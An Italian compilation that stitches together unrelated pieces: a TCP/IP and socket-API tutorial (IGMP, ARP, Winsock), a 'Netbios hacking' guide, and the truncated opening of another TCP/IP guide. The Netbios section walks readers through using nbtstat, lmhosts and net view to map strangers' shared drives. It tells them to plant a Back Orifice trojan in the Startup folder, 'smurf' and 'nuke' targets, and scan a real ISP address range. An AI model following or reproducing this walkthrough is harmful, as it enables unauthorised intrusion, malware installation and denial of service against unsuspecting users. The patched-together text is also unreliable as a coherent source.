Gli host possono entrare od uscire dinamicamente da questi gruppi multicast. Quando ne fanno parte, assumono degli indirizzi IP di classe D, che vanno da 224.0.0.1 a 239.255.255.255. Se viene indicato come destinazione l'indirizzo IP 224.0.0.1, significa che il gruppo broadcast è formato da tutti gli host e i router che partecipano a un multicasting IP su una sezione della rete.
Il pacchetto IGMP è formato da cinque campi.

- Version: campo che indica la versione del protocollo utilizzato. Con IGMP è settato sul valore di 1
- Type: può avere due valori; il valore 1 significa che il messaggio IGMP è il prodotto di un'interrogazione di un router multicast; il valore impostato a 2 significa che il pacchetto origina da una risposta di un host IP
- Checksum: campo che contiene un valore numerico corrispondente alla somma di controllo, per la verifica dell'integrità del dato.
- Group address: campo che contiene l'IP del gruppo di host multicast.

Questo tipo di protocollo viene utilizzato generalmente da applicazioni interattive, che permettono di fare arrivare le informazioni a più host.
L'Internet Assigned Number Autority (IANA) assegna alcuni indirizzi multicast come indirizzi noti, i quali rappresentano gruppi di host permanenti.

A causa di un bug nello stack TCP/IP nelle piattaforme win95/98, i pacchetti IGMP frammentati possono essere utilizzati per effettuare attacchi D.o.S.
Recentemente è stata rilasciata dalla Microsoft una patch che risolve il problema.

3.2.4 Il protocollo ARP

RFC 826
L'Address Resolution Protocol è un protocollo che viene utilizzato per risolvere un indirizzo IP di un host client nel relativo indirizzo MAC. No, nulla a che vedere con la gloriosa casa Apple. Il MAC (media access control) è l'indirizzo fisico dell'host, detto anche indirizzo hardware della scheda di rete.

Il processo in cui opera tale protocollo è il seguente: innanzi tutto il client verificherà se il server fa parte della stessa rete o di una rete remota; l'indirizzo IP del server sarà confrontato con la maschera di sottorete del client mediante il processo di messa in AND. Gli indirizzi IP dell'origine e della destinazione sono confrontati con la maschera di sottorete dell'origine. Se il server si trova nella stessa rete avverrà qwuanto segue: l'host client, prima di inviare i dati al server, controlla nella propria cache ARP se vi sia l'indirizzo del server. In caso negativo, il client invia un pacchetto ARP al server, con il quale chiede l'indirizzo MAC di quest'ultimo. Nel pacchetto, il client inserisce il proprio IP e indirizzo MAC, che andranno nella cache ARP del server. Il pacchetto è inviato all'indirizzo broadcast e, quindi, a tutti gli host del segmento i quali esamineranno il pacchetto. Gli host a cui non è diretto il pacchetto, lo ignoreranno dopo averlo esaminato. L'host a cui è destinato il pacchetto, inserirà le informazioni nella propria cache ARP ed invierà il proprio indirizzo MAC all''host mittente. Dopo questo passaggio, può avere inizio la comunicazione tra il client ed il server.

Quando il server si trova in una rete remota, il client controllerà nella propria cache ARP se ha l'indirizzo MAC del router predefinito. In caso negativo, esso invierà un pacchetto ARP contenente il proprio indirizzo IP e indirizzo MAC, con il quale richiederà l'indirizzo MAC del router. Quindi invierà il pacchetto al router. Il processo è identico, da router a router, fino al server.

Il pacchetto ARP si compone di 9 campi.

- Hardware type: campo che indica il tipo di hardware usato nella rete
- Protocol type: campo che indica il tipo di indirizzo di protocollo
- Hardware address lenght: campo che indica la lunghezza in bit dell'indirizzo hardware
- Protocol Address Lenght: campo che indica la lunghezza dell'indirizzo di protocollo
- Op code: campo che indica se il pacchetto è una richiesta od una risposta ARP
- Sender's hardware Address: campo che indica l'indirizzo hardware dell'host mittente
- Sender's Protocol Address: campo che indica l'indirizzo IP dell'host mittente
- Target's Hardware Address: campo che indica l'indirizzo hardware dell'host destinatario
- Target's Protocol Addres: campo che indica l'indirizzo hardware dellìhost destinatario

4 Il livello delle applicazioni e i socket

4.1 Le applicazioni socket

Immediatamente soprastante a tale livello, nello strato dell'applicazione

lavorano le applicazioni che si possono suddividere in due categorie:

- applicazioni socket
- applicazioni netbios

Le applicazioni socket sono dei programmi di rete (ftp, telnet ecc.) che utilizzano le API socket.
Le applicazioni NetBios utilizzano altri tipi di API per comunicare e condividere i dati tra due host remoti. Questa nota è improntata alla descrizione delle applicazioni socket, e quindi non parlerò del NetBios.

4.1.2 Definizioni

Socket: quando due host si scambiano dati sulla rete, i due capi in cui avviene la comunicazione si dicono punti di arrivo; i socket sono i punti di arrivo tra due computer che comunicano in rete. Secondo una convenzione, definita modello client-server, i programmi che comunicano in rete, a seconda che inviino o ricevino i dati, si distinguono rispettivamente in programmi client e programmi server. Pertanto in una comunicazione ci saranno due socket, uno nel lato client e uno nel lato server.
Tecnicamente su usa pure dire che un socket è una rappresentazione astratta di un punto di arrivo.

Le API (Application Program Interface), sono un gruppo di funzioni o interfacce software utilizzate dai programmatori per sviluppare applicazioni in determinati ambienti.
L'API socket quindi si può definire come un'interfaccia tra le applicazioni che comunicano in rete e lo stack di protocolli TCP-IP.

4.1.3 Storia del socket

Ed ora, consentitemi una piccola digressione sull'interfaccia socket.
Negli anni '80, sull'onda del rapido sviluppo di internet, su richiesta dell'ARPA, gli uomini dei laboratori dell'università di Berkeley, svilupparono un software particolare che interfacciava tutte le applicazioni di rete che giravano sul sistema operativo Unix, con i protocolli TCP-IP.
Essi progettarono un programma d'interfaccia, denominato API socket, chiamato anche socket Berkeley, che si implementava con i protocolli TCP-IP su macchine Unix.

Anche win ha le sue API sockets, chiamate windows sockets o anche winsock.
Le funzioni del winsock sono praticamente le stesse di quelle dei socket

Berkeley, ma implementano una serie di funzioni specifiche per l'utilizzo sotto windows. Si dice che il winsock è progettato come un componente WOSA (Windows Open Service Architecture).

Nel 1991 nacque il Winsock Group, una società formata da produttori e sviluppatori di applicazioni per le reti e di software per sistemi operativi

windows. Nel 1993 fu prodotto WinSock versione 1.1, che permetteva l'utilizzo di applicazioni a 16 bit. Dopo il rilascio di windows 95, sono state pubblicate le specifiche delle Windows Sockets versione 2.0, a 32 bit, con nuove funzionalità. Oggi siamo alle 2.2.
Diversamente dalla versione 1.1, che era focalizzata interamente progettato sul TCP/IP, la nuova API è indipendente dal protocollo di trasporto.
Il winsock32.dll consiste di due interfacce standard , una tra il winsock stesso e le Application Programming Interface (API), l'altra tra il WinSock e i service providers, Service Providers Interface (SPI).
All'interno delle Windows Sockets 2 sono inseriti TCP/IP, IPX/SPX, OSI e altri protocolli minori.

4.2 Elementi costitutivi

4.2.1 Tipi di socket

Il funzionamento del socket non è particolarmente complesso, ma per capirlo ci sono alcuni termini che dovrete memorizzare.
Ogni socket host è costituito da cinque elementi informativi: il protocollo utilizzato, l'indirizzo IP dell'host locale o client, l'indirizzo IP dell'host remoto o server, una porta di protocollo per il processo client e una porta di protocollo per il processo server. Il protocollo utilizzato, permette di distinguere i programmi client o server orientati alla connessione o programmi client o server non orientati alla connessione.
I client o server orientati alla connessione utilizzano un protocollo di trasmissione affidabile, come il Tcp, mentre quelli non orientati alla connessione si servono di protocolli la cui trasmissione non è garantita, come IP e UDP.

Quanto abbiamo detto sopra, ci permette di distinguere i tipi di comunicazione che vengono definiti in tutto dall'interfaccia socket.

- Comunicazione di rete orientata alla connessione:

I dati viaggiano in un unico flusso di byte (byte-stream); nel linguaggio di programmazione, si dice che l'interfaccia (API) socket utilizza la costante simbolica SOCK_STREAM ed si avvale del protocollo TCP.

- Comunicazione senza connessione:

I dati viaggiano in pacchi ben distinti (datagrammi). L'API socket utilizza, in questo caso, la costante simbolica SOCK_DGRAM e usa il protocollo UDP.

Oltre ai due tipi di comunicazione sopra descritti, esistono altri tre tipi di comunicazione dell'API socket.

- Comunicazione raw socket:

Il terzo tipo, più rudimentale, viene chiamato "raw socket", da raw=grezzo.
L'API socket utilizza la costante simbolica SOCK_RAW.
Un raw socket viene normalmente utilizzato dal programma per poter adottare protocolli diversi da TCP e UDP.
Nel modello dello stack dei protocollo TCP-IP, è come dire che il raw socket mette in comunicazione direttamente il livello delle applicazioni con il livello di rete, saltando il livello del trasporto.
Un esempio di tale tipo di comunicazione è quando un'applicazione crea un socket raw per gestire l'ICMP, un protocollo di controllo di basso livello, che opera nello strato della rete, come IP e IGMP.

Per chi si vuole dilettare nella creazione dei pacchetti, è opportuno ricordare che i winsock inferiori alla versione 2.0 non contemplano la comunicazione raw socket, mentre le versioni successive la supportano con diverse limitazioni. Questa limitazione non esiste, invece, per i socket unix che utilizzano normalmente i raw socket. Sotto win, un uso meno limitato della comunicazione socket raw puo' essere effettuato utilizzando un winsock diverso da quello di default fornito dalla Microsoft, ad esempio usando il Trumpet Winsock, versione 3.0d che però, a detta di alcuni esperti, rende il sistema instabile in alcune situazioni.

4.2.2 Altri tipi di socket

Gli ultimi due tipi di socket, sono:

- socket di pacchetto in sequenza: SOCK_SEQPACKET

- socket di messaggio consegnato affidabilmente (non implementato): SOCK_RDM.

Dei due tipi di socket, solo il primo viene utilizzato raramente, mentre il secondo non è implementato, e vengono qui citati solo per completezza di esposizione.

4.3 Funzionamento del socket

Ora passiamo ad una breve descrizione tecnica di ciò che avviene quando un programma comunica con un altro in rete. Credo che ciò sia utile anche per chi non si intende di programmazione, se non altro perchè potrà fornirgli l'input a sviluppare i concetti qui espressi.
Per costoro, è utile almeno riassumere quanto segue.

4.3.1 Definizioni del linguaggio C/C++

Nel codice sorgente di un programma possono esistere delle sezioni di codice distinte, che sono chiamate funzioni. Le funzioni hanno un nome, un valore o argomento e un tipo di restituzione.

Le funzioni possono essere chiamanti o chiamate. Le funzioni chiamanti sospendono l'esecuzione della sezione di codice in esse contenuto in seguito ad una chiamata di funzione. Ciò permetterà l'esecuzione della sezione di codice della funzione chiamata. Per fare un esempio, un nome di una funzione che vedremo più avanti è "socket". I valori (cioè argomenti o chiamati anche parametri) della funzione sono facoltativi, e sono indicati all'interno di una coppia di parentesi tonde, poste dopo il nome della funzione.

Nel caso di una chiamata ad una funzione che, ad esempio, ha nome "che_palle()", con le parentesi prive di contenuto, avremmo una funzione priva di argomenti. Il tipo di restituzione dice al compilatore (programma che traduce il sorgente in codice macchina) che tipo di dati la funzione chiamata restituisce alla funzione chiamante.
Variabile: è la rappresentazione che il linguaggio di programmazione usa per definire dei dati, che possono essere numeri o stringhe di caratteri. Quando ad una variabile non è stato assegnato un valore, si dice che la variabile non è stata inizializzata. Ad una stessa variabile possono essere assegnati valori diversi.

Header file o file d'intestazione: è un file che contiene delle definizioni d'interfaccia di classe e/o dichiarazioni di funzione. Ha estensione .h. Un esempio è il file iostream.h che, tra le altre cose, dice al compilatore come utilizzare i comandi di imput ed output (<< >>). Quando nel sorgente l'header è compreso in due parentesi acute (<iostream.h>) significa che il file si trova nella directory predefinita dal compilatore. Se invece l'header è compreso in due doppi apici ("vector.h"), significa che esso si trova nella stessa directory del file sorgente.

Puff, pant. Se volete un corso di C alla Bignami avete sbagliato tutorial ma, soprattutto, avete riposto troppa fiducia nell'autore.

4.4 Le chiamate alle funzioni

Ora veniamo ai dettagli. Se utilizziamo un programma di rete (browser web, ftp), questo viene definito come programma client.
Quando un programma client vuole comunicare con un programma server in rete, il client si limita a creare un'interfaccia socket, chiamando la funzione "socket()", con tre parametri: int socket(int famiglia, int tipo, int protocollo).

A questo punto, l'applicazione, prima di poter utilizzare il socket creato, deve prima configurarlo nella giusta maniera. Se ricordate ciò che abbiamo detto più sopra, possiamo raggruppare i socket in due tipi principali: quelli connessi e quelli non connessi. Il metodo di configurazione, pertanto, varia a seconda del tipo di socket.

4.5 Comunicazione di rete orientata alla connessione

Se il programma client utilizza il protocollo TCP si dice che è orientato

alla connessione. L'applicazione crea inizialmente un socket, con la chiamata alla omonima funzione. Per la configurazione del socket, il programma chiama una seconda funzione, definita "connect()". Ma procediamo con ordine e vediamo come sono strutturate le funzioni chiamate.

4.5.1 Funzione Socket()

La funzione socket contiene i parametri che specificano la famiglia di protocolli (protocol_family), il tipo di socket (socket_type) e il protocollo utilizzato (protocol_type).

Definiamo i tre parametri.

Protocol_family: l'interfaccia socket puo effettuare comunicazioni su più tipi di reti e, quindi, può utilizzare diversi protocolli come TCP/IP, XNS ed i protocolli interni di unix. XNS è uno stack di protocolli simile a TCP/IP, sviluppato dai laboratori Xerox, che viene implementato nelle reti Netware di Nowell e VINES di Banyan. Questo parametro comprende quindi delle costanti simboliche per definire la famiglia di protocolli supportata.
Quella utilizzata per le comunicazioni internet è la costante simbolica PF_INET, che identifica lo stack TCP/IP. PF_UNIX identifica la famiglia di protocolli interni di unix, i quali vengono utilizzati per le comunicazioni interne tra i vari processi del s.o.; PF_NS identifica la famiglia di protocolli XEROX. Quando il parametro identifica non le famiglie di protocolli, ma le famiglie di indirizzi, i quali variano da rete a rete, esso utilizza le stesse costanti simboliche con il prefisso AF_ al posto di PF.
Pertanto avremo AF_INET, AF_UNIX e AF_NS.

Socket_type: come abbiamo già visto esistono cinque tipi di socket, dei quali solo tre sono comunemente implementati: SOCK_STREAM, che indica che verrà utilizzato la comunicazione byte stream; SOCK_DGRAM che indica che verrà utilizzata la comunicazione con invio di datagrammi; SOCK_RAW, che indica che verrà utilizzato un protocollo di basso livello, come ICMP e IGMP.

Protocol_type: la costante simbolica viene specificata con un prefisso IPPROTO_ seguita dal tipo di protocollo: ad es. IPPROTO_UDP, IPPROTO_TCP ecc.

4.5.2 Funzione connect()

Questa funzione contiene tre parametri: socket_handle, remote_socket_address e address_lenght.
Come si può notare, anche intuitivamente, dai nomi dei parametri, è' la funzione connect a memorizzare le informazioni del punto di arrivo locale e di quello remoto.
In questo caso, il protocollo utilizzato permette una connessione diretta con il server, attraverso l'invio di dati byte-stream.

Anche il programma server, dopo un procedimento analogo di creazione del socket, chiama alcune funzioni:

4.5.3. Funzione bind()

La prima, relativa alla configurazione delle informazioni
locali, è chiamata funzione "bind()"; il socket del server viene informato su quale porta deve stare in ascolto da questa funzione.
Una piccola digressione sulla funzione bind(). La chiamata a bind può essere utilizzata in 3 modi diversi:
1. I server registrano il loro indirizzo, ben noto, nel sistema.
In pratica dicono al sistema: "Questo è il mio indirizzo e qualsiasi messaggio ricevuto ad esso indirizzato deve essere consegnato a me!".
Questa procedura deve essere fatta prima di accettare richieste da un client sia dai server orientati alla connessione sia da quelli che non lo sono.
2. Un client può registrare un indirizzo specifico per se stesso, in modo che il server risponda alle richieste su quel indirizzo.
3. Un client senza connessione deve accertarsi che il sistema assegni un certo indirizzo unico, affinchè l'altra estremità abbia un indirizzo di ritorno valido su cui inviare le risposte.
Terminata la digressione, definiamo i parametri.
I parametri sono: (int sockfd, struct sockaddr*mioindir, int lunghindr).
1. sockfd: descrittore di socket precedentemente creato con la chiamata di sistema socket.
2. mioindr: è un puntatore all'indirizzo specifico della struttura del protocollo.
3. lunghdir: dimensione della struttura del protocollo.

Come? Ah, c'è qualcuno che non conosce le definizioni descrittore e puntatore?

Puntatore: è un indirizzo di memoria associato ad un tipo di dato, dove l'associazione viene indicata con il simbolo *. Es: Tipo_di_dato*puntatore

Descrittore: E' un tipo particolare di puntatore. In C, uno dei modi per manipolare il contenuto di un file consiste nell'aprire uno stream, cioè un "canale di flusso" col file stesso mediante un'apposita funzione, che restituisce il puntatore ad una struttura i cui campi sono utilizzati poi da altre funzioni, per compiere operazioni sul file stesso. Tale puntatore è detto "descrittore" del file.
Se qualcuno non ha capito nulla, ecco un altro esempio di ripasso:
(Borland C++ 3 ed. Apogeo, lire 64 mila)*puntatore.

Le altre due chiamate, relative alle informazioni remote sono le funzioni "listen()" e "accept()".

4.5.4 Funzione listen()

Questa chiamata di sistema è usata da un server orientato alla connessione
per indicare che è disposto a ricevere le connessioni, cioè si trova in stato
di attesa.
Solitamente è eseguita dopo le chiamate di sistema socket e bind ed
immediatamente prima della chiamata accept. Quando arrivano più richieste di
connessione, il server usa la funzione listen() per gestire le richieste
multiple e simultanee per il socket.
I parametri sono: int listen(int sockfd, int backlog);
1. sockfd: descrittore di socket precedentemente creato con la chiamata di
sistema socket.
2. backlog: specifica il numero di richieste di connessione che possono
essere accodate dal sistema mentre è in attesa che il server esegua la
chiamata accept.

4.5.5 Funzione accept()

Dopo che un server orientato alla connessione ha eseguito
la chiamata di sistema listen, si pone in attesa di una eventuale connessione
da parte di un processo client.
La chiamata accept prende in esame la richiesta di connessione che si ha in
testa alla coda specificata dalla listen e crea un altro socket con le stesse
propietà di socketfd.
Se non ci sono richieste di connessione in sospeso, questa chiamata blocca
il chiamante finche non ne arriva una.
Le funzioni sono: int accept(int sockfd, struct sockaddr *pari,
int lunghindir);
1. sockfd: Descrittore di socket fd.
2. lunghindr:Contiene la lunghezza della struttura dell'indirizzo del
processo connesso (client). Il lunghindir viene prima posto uguale alla
dimensione della struttura e succesivamente prende il valore della dimensione
della struttura effetivamente occupata dal client connesso.

Il programma client, per instaurare la classica trasmissione handsnake a tre
vie, a sua volta chiamerà la funzione "write()" per trasmettere i dati e la
funzione "read()" per ricevere i dati di risposta a una porta specifica che
verranno inviati dal server.
A questo punto, il server chiamerà anch'esso le funzioni read() e write(),
rispettivamente per ricevere e rispondere.

4.6 Comunicazione di rete non orientata alla connessione

Se il programma client non è orientato alla connessione, per configurare le
informazioni locali esso chiama la funzione "bind" e la funzione "sendto"
per la configurazione delle informazioni remote. Dato che il socket è senza
connessione, non viene effettuata la chiamata alla funzione connect.
A sua volta, il programma server senza connessione ascolterà passivamente
i dati che giungeranno dalla porta di protocollo e chiamerà la funzione

"bind" per le informazioni locali e la funzione "recvfrom" per le informazioni remote. Quando giungeranno i dati dal client, il server trasmetterà dati in risposta con la stessa funzione sendto ed il client riceverà tali dati utilizzando la chiamata alla funzione recvfrom (invece di recv o read), esattamente come avviene nel server.
In questo tipo di comunicazione, il protocollo utilizzato non permette una connessione diretta tra il programma client ed il programma server, cioè una connessione detta point-to-point tra due punti di arrivo.
Come abbiamo già visto, i dati vengono trasmessi mediante l'uso dei datagrammi.

4.7 Riepilogo

Ricapitolando, terminata la fase della configurazione, durante la trasmissione dei dati l'API del socket chiamerà cinque diverse funzioni: send, write, writev, sendto e sendmsg.

Le prime tre funzioni sono utilizzate solo da socket orientati alla connessione.
In particolare, la funzione send contiene quattro parametri e contiene alcuni flag particolari usati per controllare il socket (socket_handle, message_buffer, buffer_lenght e special_flags). La funzione write trasmette i dati utilizzando un semplice buffer e contiene generalmente tre funzioni (socket_handle, message_buffer e buffer_lenght). La funzione writev trasmette i dati utilizzando memoria non contigua come buffer per i dati e contiene tre funzioni (socket_handle, io_vector e vector_lenght).

Le ultime due funzioni vengono usate dall'API del socket non connesso.
In particolare, la funzione sendto utilizza un semplice buffer per i messaggi e contiene sei parametri (socket_handle, message_buffer, buffer_lenght, special_flags, socket_address_structure e address_structure_lenght).
La funzione sendmsg trasmette i dati utilizzando una struttura dei messaggi flessibile come buffer dei dati e contiene tre parametri (socket_handle, message_structure e special_flags).

Ecco uno specchietto con le corrispondenze tra le funzioni di trasmissione e le funzioni di ricezione nell'API socket:

funzione di trasmissione	/ funzione di ricezione
- send	recv
- write	read
- writev	readv
- sendto	recvfrom
- sendmsg	recvmsg

Ed ecco pure uno specchietto delle varie chiamate dei due tipi di socket:

- socket con protocollo orientato alla connessione

```
 Server=socket-bind-listen-accept--read-write
                              |    |
           Client=socket-connect-write-read
```

- socket con protocollo non orientato alla connessione

```
  Server=socket-bind-recvfrom--sendto
                    |      |
  Client=socket-bind-sendto-recvfrom
```

A tutte le funzioni sopra espresse, bisogna aggiungere un'ultima funzione:

Select(): è solitamente usata dai programmi server o da programmi client particolarmente sofisticati e permette ad un singolo progesso di verificare lo stato di più socket. Richiede cinque parametri e sono:
select(number_sockets, readable_sockets, writeable_sockets, error_sockets, max_time).

4.8 Il winsock

Non ci sono grandi differenze di caratteristiche tra il socket Berkeley e il Winsock. Le principali sono:

1. Il socket windows implementa l'API del socket in una libreria con estensione dll, chiamata winsock.dll.
2. Winsock, oltre alle funzioni già definite con il socket Berkeley, richiede sempre la chiamata a due funzioni specifiche: WSAStartup e WSACleanup. WSAStartup() è una funzione chiamata dal programma durante una negoziazione tra il programma stesso e winsock.dll. Il programma specifica le caratteristiche minime richieste al winsock ed il winsock risponde specificando le proprie funzionalità. In pratica questa funzione serve al programma per specificare quale versione dell'API winsock necessita. WSAStartup può essere chiamata diverse volte durante l'attività del programma, ad esempio per fornire le caratteristiche dell'implementazione. A ogni chiamata viene incrementato un contatore delle chiamate. WSACleanup() è una funzione che viene chiamata dal programma per decrementare il contatore delle chiamate alla funzione WSAStartup.
3. In un errore nel socket, l'API Berkeley utilizza la funzione errno() con il valore a -1, mentre il winsock definisce una nuova costante, chiamata Socket_Error, il cui valore è -1; il programma chiamerà quindi la funzione WSAGetLastError, che verificherà la causa che ha provocato l'errore nel winsock.
4. A differenza di quanto avviene con i programmi unix, che necessitano di più file header, nei programmi per Windows l'unico file da includere per il supporto dei socket e' winsock.h sia per la versione a 16 che per quella a 32 bit. L'header winsock.h include automaticamente windows.h e, pertanto, non sarà necessario inserirlo. In fase di compilazione si sceglierà' (automaticamente o manualmente) la dll da usare.

5 CONCLUSIONE

Ora è ovvio che chi non conosce l'arte della programmazione, più in là non
può andare. Memorizzare le varie funzioni chiamate da un programma durante lo
stabilimento di una connessione non serve a molto se non si smanetta in C o
VB. Lo sforzo di imparare un linguaggio verrà ricompensato dalla capacità di
poter capire e commentare, ad esempio, un programma per creare pacchetti TCP, leggendo il
sorgente o magari di poterlo modificare per una diversa utilità. Le e-zine tecniche come BFI partono
da questo presupposto. Adesso tocca a voi.

---

* Introduzione:
Il Netbios?? Che è?. Il Netbios è una cosina fatta da Microsfott ® che serve a sfruttare le reti locali LAN IPX. Dato che il nostro caro amico Bill è fissato con integrare tutto con internet ha integrato pure questo Netbios, rendendolo facilmente accessibile da chiunque via rete. Ma che simpatico questo nostro caro amico Bill.

* Configurazione del pc:
Per sfruttare le risorse di questa miniera d'oro chiamata netbios bisogna configurare il proprio pc con su montato winzozz ™. Eh si mi dispiace ma il caro sistema disoperativo del vecchio Bill è necessario. Ora andate nelle proprietà della vostra connessione di accesso remoto, in tipi di server, e mettete accedi alla rete. Fatto ciò andate in avvio\impostazioni\pannello di controllo\rete e aggiungete i seguenti client:

Client per reti microsoft
Client per reti netware (che automaticamente aggiungerà il protocollo compatibile IPX/SPX, se non lo fa fatelo voi)

E il protocollo Netbios.
Fatto ciò andate nelle proprietà del client per reti microsoft e selezionate connessione rapida, dopodiché nelle proprietà del protocollo compatibile IPX/SPX mettete attiva Netbios. Fate OK e dopo aver installato i driver (per i piratoni ci vuole il cd di windows) riavviate il pc. Ora siete pronti per fare kasino!!!

* Hacking dei computer Netbiossati:
Volendo fare un po' di teoria vi dirò che il Netbios lavora sulla porta 139 TCP/UDP (si proprio quella del winnuke).
Prima di tutto beccate un computer col sysadmin scemo e il Netbios attivo (come farlo ve lo spiego dopo). Vi faccio un esempio pratico così anche i più grulli capiscono come funziona la cosa (senza offesa per i più grulli hihi =)).
Allora io becco l'ip della macchina (212.216.34.144) poi vado nel prompt di msdos (evvivaa niente winzozz ™ per ora) e scrivo:

```
cd x:\windows
nbtstat -A 212.216.34.144
```

Vi risponderà:

```
        NetBIOS Remote Machine Name Table

    Name           Type                Status
-----------------------------------------------------------------------
HALL9000        <00> UNIQUE       Registered
WORKGROUP  <00> UNIQUE       Registered
HALL9000        <03> UNIQUE       Registered
HALL9000        <20> UNIQUE       Registered
WORKGROUP  <1E> UNIQUE       Registered
```

A questo punto ci segniamo il primo nome della lista, HALL9000 (notate che nel Netbios tutto è scritto

maiuscolo), e facciamo:

edit x:\windows\lmhosts

Nell'editor del dos scriviamo:

212.216.34.144   HALL9000   #PRE

Il tag #PRE è fisso e va sempre messo, gli spazi sono fatti col TAB (non usate altro). Salvate e uscite. Ora per caricare questo file scrivete:

nbtstat -R

Vi dovrebbe rispondere (se vi risponde altro o avete sbagliato a editare il file oppure avete configurato male il pc):

Successful purge and preload of the NBT Remote Cache Name Table.

Ora vediamo se ci sono risorse condivise nel pc. Fate:

net view \\HALL9000

Se non ci sono risorse condivise o non si ha il permesso di accedervi vi risponderà con un errore, altrimenti vi dirà:

Risorse condivise su \\HALL9000

Condivisione	Tipo	Commento
C	Disco	
D	Disco	
E	Disco	
F	Disco	
G	Disco	
HP	Stampa	

Esecuzione comando riuscita.

Tombola!! Ci siamo abbiamo i nomi delle sue risorse condivise. Ora basta uscire dal dos e andare in gestione risorse (si avete letto bene). Nel menu in alto andate in Strumenti\Connetti unità di rete. Ora come avrete già capito si assegna una lettera al vostro "nuovo hd" che avrete (cioè l'hd dell'altro) e scrivete \\HALL9000\C per esplorare la condivisione C (che probabilmente sarà il C: del tipo), \\HALL9000\D per la condivisione D e così via. Avrete notato sicuramente che oltre ai vari dischi li c'è anche la condivisione HP di tipo "Stampa". Vuol dire semplicemente che quella condivisione è connessa alla stampante del tipo e potete stampare i vostri file con la sua stampante.. divertente no? =). Naturalmente sarà tutto abbastanza lento perché avverrà via internet, non sarà come esplorare i vostri hd di certo. Bene ora che sapete come accedere agli hd passiamo a cose più importanti. Prima di tutto vi chiederete come fare a prendere e a mettere file. E' semplice, dato che l'hd in remoto è come se fosse

il vostro, quindi basta fare copia e incolla. Come fare invece per eseguire i file? Non è così semplice come pensiate, cliccando sul file .exe in remoto si eseguirà sul VOSTRO pc (ovviamente) quindi dovete giocare d'astuzia. Se volete mettere un trojan settatelo in modo da mandarvi una email con l'ip ogni volta che il pc va online, dopodiché mettete questo trojan in c:\windows\menu avvio\programmi\esecuzione automatica\ oppure in c:\windows\start menu\program files\startup (non ne sono sicuro però, non ho la versione inglese di windows). Poi fate in modo di riavviare il pc se è un server fisso, altrimenti aspettate il giorno dopo (per vedere se è un server guardate la lista di ID dell'nbtstat -A, se ce ne sono più di 4-5 allora probabilmente è server). Smurfatelo, nukkatelo, provate tutto. Consiglio di usare il BO dato che all'avvio si cancella da esecuzione automatica. Inoltre quando entrate con gestione risorse se il sysadmin è un po' furbo vi verrà chiesta una password (non preoccupatevi, ciò è molto raro). Exploits o un brute force per queste password purtroppo non ne conosco, se voi si allora mandatemi informazioni. Ultima cosa, quando i nomi degli ID o delle condivisioni contengono spazi dovete usare gli "". Ad esempio se con nbtstat -A troviamo il nome TRA LLA allora nel lmhosts dovremo scrivere:

numero_ip "TRA LLA" #PRE

E poi

net view "\\TRA LLA"

E se vediamo che ha una condivisione chiamata BLA BLA allora faremo in gestione risorse:

"\\TRA LLA\BLA BLA".

* Trovare i computer Netbiossati:
Questo è molto semplice, basta un programma chiamato Legion (lo trovate su http://rhino9.ml.org o al mio sito http://kalidor.tsx.org) che scanna dei range di ip. Io consiglio di provare sempre il dominio 212.216.* dato che ho scoperto che quella zona è strapiena di ip Netbiossati (infatti è la zona principale della TIN;-)).

GUIDA TCP/IP

Guida TCP/IP

Miliardi di bit viaggiano ogni giorno sulla Rete. Vi siete mai chiesti come fanno ad arrivare al corretto destinatario? In questo articolo, primo di una serie vi presentiamo "la suite di protocolli TCP/IP" cioè le regole utilizzate per la trasmissione su Internet. Non è certo fondamentale sapere come funziona uno spinterogeno o un albero di trasmissione per guidare un'automobile. Analogamente, al giorno d'oggi, non serve sapere come funziona un computer per poterlo utilizzare. La tecnologia ci scherma sempre di più dal come una cosa funziona spostando l'attenzione sul cosa fare per utilizzarla. Così, quella che era una volta tecnologia per un'élite abbastanza ristretta di studiosi, ricercatori e studenti, è oggi una realtà a disposizione di tutti. Non solo è diventato semplice navigare nella Ragnatela, ma oggi chiunque può

facilmente costruirsi le sue pagine e agganciarle a uno dei tanti siti Web che ospitano pagine private. Non c'è più neanche bisogno di conoscere l'HTML, grazie alla proliferazione di editor HTML commerciali e di pubblico dominio. In quanto ai risultati estetici, beh, lì non c'è programma che tenga.
Ma cosa c'è sotto a tutto ciò? Per chi è ancora e nonostante tutto interessato a capire come funzionano le cose, e se vogliamo anche per coloro ai quali la cosa non interessa per niente, ma hanno qualche minuto per leggere un paio di paginette e poi, chissà, potrebbe sempre tornare utile... insomma, per chi vuole, ecco a voi il "TCP/IP, questo sconosciuto".
Il nome completo è TCP/IP Internet Protocol Suite, ed è un insieme di protocolli di trasmissione di cui i due principali sono appunto il TCP (Transmission Control Protocol) e l'IP (Internet Protocol). Ma che cosa è esattamente un protocollo? Essenzialmente è una serie di regole per comporre dei messaggi e per far sì che essi possano essere scambiati tra due macchine. Non stiamo parlando solo di computer. Anche una centrale telefonica meccanica può ricadere in questa definizione. Un protocollo può contenere regole estremamente dettagliate, come quelle che identificano il significato di ogni singolo bit nella costruzione di un messaggio, oppure fornire uno scenario di alto livello, come per esempio definire come avviene il trasferimento di un file da un computer a un altro. Fondamentalmente un protocollo sta alla trasmissione dati come un linguaggio di alto livello quale il C++ sta alla programmazione. Infatti, un linguaggio di programmazione comprende sia regole estremamente dettagliate che devono essere seguite alla lettera - guai a dimenticare anche un solo punto e virgola alla fine di un'istruzione C++ - sia strutture di alto livello che vanno costruite nel modo corretto, pena errori nella struttura logica del programma.
Una generica architettura di trasmissione è formata da una torre a più piani, dove ogni piano rappresenta una precisa responsabilità nella trasmissione dei messaggi. Alla base della torre sta la porta di accesso alla rete fisica, che potremmo pensare come una rete di strade. Ogni piano prende il messaggio che arriva dal piano superiore, lo mette in una busta con alcune informazioni aggiuntive, e lo passa come messaggio al piano inferiore.
Le regole di comunicazione tra i vari piani sono dette interfacce. Il messaggio risultante, formato da tante buste una dentro l'altra, viene immesso nella rete dalla porta che si trova alla base della torre. Una volta arrivato al piano terreno infatti, esso viene trasportato alla torre di destinazione e da qui risale un piano dopo l'altro fino all'ultimo piano, detto anche livello applicativo. Ogni piano della torre di destinazione apre solo la busta che gli compete e usa le informazioni aggiuntive per recapitare la busta successiva al piano superiore. Le informazioni aggiuntive rappresentano il protocollo di comunicazione. Ogni piano comunica quindi solo con il piano corrispondente.
Esempio: Il direttore della Pippo e Figli manda una lettera riservata al direttore della Pluto e Consorte. Il modo con cui i due comunicano, per esempio i riferimenti a lettere precedenti, lo stile della lettera, il modo di salutare alla fine della lettera, e così via, rappresenta il protocollo ad alto livello, cioè quello applicativo. Per spedire la lettera il direttore lo passa alla sua segretaria. Ciò avviene secondo le regole interne della
